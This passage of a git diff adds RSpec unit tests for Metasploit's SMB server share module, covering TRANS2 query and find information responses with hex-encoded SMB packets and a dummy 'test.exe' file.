:multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'test.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#smb_cmd_trans2_query_file_information" do + + context "when valid SMB_QUERY_FILE_STANDARD_INFO parameters" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2_query_file_information(client, valid_query_file_standard_info_params)).to eq(query_file_standard_info_res_length) + end + + it "send SMB_QUERY_FILE_STANDARD_INFO response with the file size" do + mod.smb_cmd_trans2_query_file_information(client, valid_query_file_standard_info_params) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['EndOfFile']).to eq(mod.file_contents.length) + end + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb new file mode 100644 index 0000000000..705b231c5a --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb @@ -0,0 +1,128 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:valid_query_path_standard_info_params) do + "\xed\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" + + "\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" + end + let(:query_path_standard_info_res_length) { 83 } + + let(:valid_query_path_basic_info_params) do + "\xec\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" + + "\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" + end + let(:query_path_basic_info_res_length) { 101 } + + let(:non_existent_query_path_basic_info_params) do + "\xec\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" + + "\x2e\x00\x65\x00\x78\x00\x61\x00\x00\x00" + end + let(:not_found_res_length) { 39 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'test.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#smb_cmd_trans2_query_path_information" do + + context "when valid SMB_QUERY_PATH_STANDARD_INFO parameters" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2_query_path_information(client, valid_query_path_standard_info_params)).to eq(query_path_standard_info_res_length) + end + + it "send SMB_QUERY_PATH_STANDARD_INFO response with the file size" do + mod.smb_cmd_trans2_query_path_information(client, valid_query_path_standard_info_params) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['EndOfFile']).to eq(mod.file_contents.length) + end + end + + context "when valid SMB_QUERY_PATH_BASIC_INFO parameters" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2_query_path_information(client, valid_query_path_basic_info_params)).to eq(query_path_basic_info_res_length) + end + + it "send SMB_QUERY_PATH_BASIC_INFO response with the file attributes" do + mod.smb_cmd_trans2_query_path_information(client, valid_query_path_basic_info_params) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['ExtFileAttributes']).to eq(0x80) + end + end + + context "when non existent file SMB_QUERY_PATH_BASIC_INFO parameters" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2_query_path_information(client, non_existent_query_path_basic_info_params)).to eq(not_found_res_length) + end + + it "send TRANS2 response with error" do + mod.smb_cmd_trans2_query_path_information(client, non_existent_query_path_basic_info_params) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND) + end + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb new file mode 100644 index 0000000000..cf8e910343 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb @@ -0,0 +1,219 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:unicode_path) { "\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" } + let(:normalized_path) { '\\test.exe' } + let(:ascii_path) { 'test.exe' } + let(:broken_path) { 'ts.x' } + let(:wildcard_filename) { '\\*.exe' } + let(:wildcard_ext) { '\\test.*' } + let(:alternate_wildcard_filename) { '\\<.exe' } + + let(:valid_find_first2) do + "\x00\x00\x00\x64\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x18\x07\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0b" + + "\x00\x00\x40\xb5\x0f\x20\x00\x00\x00\x0a\x00\x00\x40\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x44\x00\x00\x00\x00\x00\x01" + + "\x00\x01\x00\x23\x00\x00\x00\x00\x16\x00\x56\x05\x07\x00\x04\x01" + + "\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00" + + "\x65\x00\x78\x00\x65\x00\x00\x00" + end + let(:find_first2_res_length) { 179 } + let(:find_first2_res_data_length) { 110 } + let(:find_first2_res_params_length) { 10 } + + let(:valid_query_file_info) do + "\x00\x00\x00\x48\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x18\x07\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0b" + + "\x00\x00\xc0\xb5\x0f\x04\x00\x00\x00\x02\x00\x18\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x44\x00\x00\x00\x00\x00\x01" + + "\x00\x07\x00\x07\x00\x00\x00\x00\xad\xde\xed\x03" + end + let(:query_file_info_res_length) { 83 } + let(:query_file_info_res_data_length) { 22 } + let(:query_file_info_params_length) { 2 } + + let(:valid_query_path_info) do + "\x00\x00\x00\x5e\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x18\x07\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0b" + + "\x00\x00\x40\xb4\x0f\x1a\x00\x00\x00\x02\x00\x28\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x44\x00\x00\x00\x00\x00\x01" + + "\x00\x05\x00\x1d\x00\x00\x00\x00\xec\x03\x00\x00\x00\x00\x5c\x00" + + "\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00" + + "\x00\x00" + end + let(:query_path_info_res_length) { 101 } + let(:query_path_info_res_data_length) { 40 } + let(:query_path_info_params_length) { 2 } + + let(:empty_query) { "\x00\x00\x00\x00" } + let(:empty_query_res_length) { 39 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'test.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#normalize_path" do + context "when unicode path" do + it "returns the normalized path" do + expect(mod.normalize_path(unicode_path)).to eq(normalized_path) + end + end + + context "when ascii path" do + it "returns a broken path" do + expect(mod.normalize_path(ascii_path)).to eq(broken_path) + end + end + end + + describe "#smb_expand" do + context "when * wildcard" do + it "expands the filename" do + expect(mod.smb_expand(wildcard_filename)).to eq(normalized_path) + end + + it "doesn't expand the extension" do + expect(mod.smb_expand(wildcard_ext)).to eq('\\test.*') + end + end + + context "when < wildcard" do + it "expands the filename" do + expect(mod.smb_expand(alternate_wildcard_filename)).to eq(normalized_path) + end + end + end + + describe "#smb_cmd_trans2" do + context "when valid FIND_FIRST2 subcommand request" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2(client, valid_find_first2)).to eq(find_first2_res_length) + end + + it "sends a FIND_FIRST2 response with parameters" do + mod.smb_cmd_trans2(client, valid_find_first2) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload'].v['ParamCount']).to eq(find_first2_res_params_length) + end + + it "sends a FIND_FIRST2 response with data" do + mod.smb_cmd_trans2(client, valid_find_first2) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload'].v['DataCount']).to eq(find_first2_res_data_length) + end + end + + context "when valid QUERY_FILE_INFO subcommand request" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2(client, valid_query_file_info)).to eq(query_file_info_res_length) + end + + it "sends a QUERY_FILE_INFO response with parameters" do + mod.smb_cmd_trans2(client, valid_query_file_info) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload'].v['ParamCount']).to eq(query_file_info_params_length) + end + + it "sends a QUERY_FILE_INFO response with data" do + mod.smb_cmd_trans2(client, valid_query_file_info) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload'].v['DataCount']).to eq(query_file_info_res_data_length) + end + end + + context "when valid QUERY_PATH_INFO subcommand request" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2(client, valid_query_path_info)).to eq(query_path_info_res_length) + end + + it "sends a QUERY_PATH_INFO response with parameters" do + mod.smb_cmd_trans2(client, valid_query_path_info) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload'].v['ParamCount']).to eq(query_path_info_params_length) + end + + it "sends a QUERY_PATH_INFO response with data" do + mod.smb_cmd_trans2(client, valid_query_path_info) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload'].v['DataCount']).to eq(query_path_info_res_data_length) + end + end + + context "when empty request" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2(client, empty_query)).to eq(empty_query_res_length) + end + + it "sends an SMB_NT_STATUS_NOT_FOUND error to the client" do + mod.smb_cmd_trans2(client, empty_query) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_NT_STATUS_NOT_FOUND) + end + end + end +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb new file mode 100644 index 0000000000..c5737a5714 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb @@ -0,0 +1,337 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:default_find_file_both_directory_info_res_length) { 163 } + let(:default_find_file_both_directory_info_res) do + "\x00\x00\x00\x9f\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0a\x0a\x00\x5e\x00\x00\x00\x0a\x00\x37\x00\x00" + + "\x00\x5e\x00\x41\x00\x00\x00\x00\x00\x68\x00\xfd\xff\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x5e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00" + end + + let(:default_find_file_names_info_res_length) { 81 } + let(:default_find_file_names_info_res) do + "\x00\x00\x00\x4d\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0a\x0a\x00\x0c\x00\x00\x00\x0a\x00\x37\x00\x00" + + "\x00\x0c\x00\x41\x00\x00\x00\x00\x00\x16\x00\xfd\xff\x01\x00\x01" + + "\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00" + end + + let(:default_find_full_directory_info_res_length) { 137 } + let(:default_find_full_directory_info_res) do + "\x00\x00\x00\x85\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0a\x0a\x00\x44\x00\x00\x00\x0a\x00\x37\x00\x00" + + "\x00\x44\x00\x41\x00\x00\x00\x00\x00\x4e\x00\xfd\xff\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + let(:non_existent_path) { 'non_existent' } + let(:file_path) { 'test.exe' } + let(:folder_path) { '\\' } + + let(:error_res_length) { 39 } + + let(:existent_file_file_both_dir_res_length) { 179 } + let(:existent_folder_file_both_dir_res_length) { 165 } + + let(:existent_file_file_names_res_length) { 97 } + let(:existent_folder_file_names_res_length) { 83 } + + let(:existent_file_file_full_res_length) { 153 } + let(:existent_folder_file_full_res_length) { 139 } + + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'test.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_find_file_both_directory_info_res" do + context "when no opts" do + it "returns the number of bytes sent" do + expect(mod.send_find_file_both_directory_info_res(client)).to eq(default_find_file_both_directory_info_res_length) + end + + it "sends a default TRANSACTION2 response" do + mod.send_find_file_both_directory_info_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_find_file_both_directory_info_res) + end + end + end + + describe "#send_find_file_names_info_res" do + context "when no opts" do + it "returns the number of bytes sent" do + expect(mod.send_find_file_names_info_res(client)).to eq(default_find_file_names_info_res_length) + end + + it "sends a default TRANSACTION2 response" do + mod.send_find_file_names_info_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_find_file_names_info_res) + end + end + end + + describe "#send_find_full_directory_info_res" do + context "when no opts" do + it "returns the number of bytes sent" do + expect(mod.send_find_full_directory_info_res(client)).to eq(default_find_full_directory_info_res_length) + end + + it "sends a default TRANSACTION2 response" do + mod.send_find_full_directory_info_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_find_full_directory_info_res) + end + end + end + + describe "#smb_cmd_find_file_both_directory_info" do + context "when non existent path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_both_directory_info(client, non_existent_path)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do + mod.smb_cmd_find_file_both_directory_info(client, non_existent_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_NO_SUCH_FILE) + end + end + + context "when existent file path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_both_directory_info(client, file_path)).to eq(existent_file_file_both_dir_res_length) + end + + it "sends a TRANSACTION2 response with the found FileName in SMB Data" do + mod.smb_cmd_find_file_both_directory_info(client, file_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name)) + end + end + + context "when existent folder path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_both_directory_info(client, folder_path)).to eq(existent_folder_file_both_dir_res_length) + end + + it "sends a TRANSACTION2 response with the found FileName in SMB Data" do + mod.smb_cmd_find_file_both_directory_info(client, folder_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name)) + end + end + end + + describe "#smb_cmd_find_file_names_info" do + context "when non existent path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_names_info(client, non_existent_path)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do + mod.smb_cmd_find_file_names_info(client, non_existent_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_NO_SUCH_FILE) + end + end + + context "when existent file path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_names_info(client, file_path)).to eq(existent_file_file_names_res_length) + end + + it "sends a TRANSACTION2 response with the found FileName in SMB Data" do + mod.smb_cmd_find_file_names_info(client, file_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name)) + end + end + + context "when existent folder path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_names_info(client, folder_path)).to eq(existent_folder_file_names_res_length) + end + + it "sends a TRANSACTION2 response with the found FileName in SMB Data" do + mod.smb_cmd_find_file_names_info(client, folder_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name)) + end + end + end + + describe "#smb_cmd_find_file_full_directory_info" do + context "when non existent path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_full_directory_info(client, non_existent_path)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do + mod.smb_cmd_find_file_full_directory_info(client, non_existent_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_NO_SUCH_FILE) + end + end + + context "when existent file path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_full_directory_info(client, file_path)).to eq(existent_file_file_full_res_length) + end + + it "sends a TRANSACTION2 response with the found FileName in SMB Data" do + mod.smb_cmd_find_file_full_directory_info(client, file_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name)) + end + end + + context "when existent folder path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_full_directory_info(client, folder_path)).to eq(existent_folder_file_full_res_length) + end + + it "sends a TRANSACTION2 response with the found FileName in SMB Data" do + mod.smb_cmd_find_file_full_directory_info(client, folder_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name)) + end + end + end +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb new file mode 100644 index 0000000000..4a2482eb9e --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb @@ -0,0 +1,421 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:default_info_basic_res_length) { 101 } + let(:default_info_basic_res) do + "\x00\x00\x00\x61\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0a\x02\x00\x28\x00\x00\x00\x02\x00\x37\x00\x00" + + "\x00\x28\x00\x39\x00\x00\x00\x00\x00\x2a\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00" + end + + let(:default_info_standard_res_length) { 83 } + let(:default_info_standard_res) do + "\x00\x00\x00\x4f\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0a\x02\x00\x16\x00\x00\x00\x02\x00\x37\x00\x00" + + "\x00\x16\x00\x39\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00" + end + + let(:default_info_network_res_length) { 117 } + let(:default_info_network_res) do + "\x00\x00\x00\x71\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0a\x02\x00\x38\x00\x00\x00\x02\x00\x37\x00\x00" + + "\x00\x38\x00\x39\x00\x00\x00\x00\x00\x3a\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00" + end + + let(:non_existent_fid) { 0x1234 } + let(:file_fid) { 0xdead } + let(:folder_fid) { 0xbeef } + + let(:non_existent_path) { 'non_existent' } + let(:file_path) { 'test.exe' } + let(:folder_path) { '\\' } + + let(:error_res_length) { 39 } + + let(:existent_fid_info_basic_res_length) { 101 } + let(:info_standard_res_length) { 83 } + let(:existent_path_info_basic_res_length) { 101 } + let(:existent_path_info_standard_res_length) { 83 } + let(:existent_path_info_network_res_length) { 117 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'test.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_info_basic_res" do + context "when no opts" do + it "returns the number of bytes sent" do + expect(mod.send_info_basic_res(client)).to eq(default_info_basic_res_length) + end + + it "sends a default TRANSACTION2 response" do + mod.send_info_basic_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_info_basic_res) + end + end + end + + describe "#send_info_standard_res" do + context "when no opts" do + it "returns the number of bytes sent" do + expect(mod.send_info_standard_res(client)).to eq(default_info_standard_res_length) + end + + it "sends a default TRANSACTION2 response" do + mod.send_info_standard_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_info_standard_res) + end + end + end + + describe "#send_info_network_res" do + context "when no opts" do + it "returns the number of bytes sent" do + expect(mod.send_info_network_res(client)).to eq(default_info_network_res_length) + end + + it "sends a default TRANSACTION2 response" do + mod.send_info_network_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_info_network_res) + end + end + end + + describe "#smb_cmd_trans_query_file_info_basic" do + context "when non existent fid" do + it 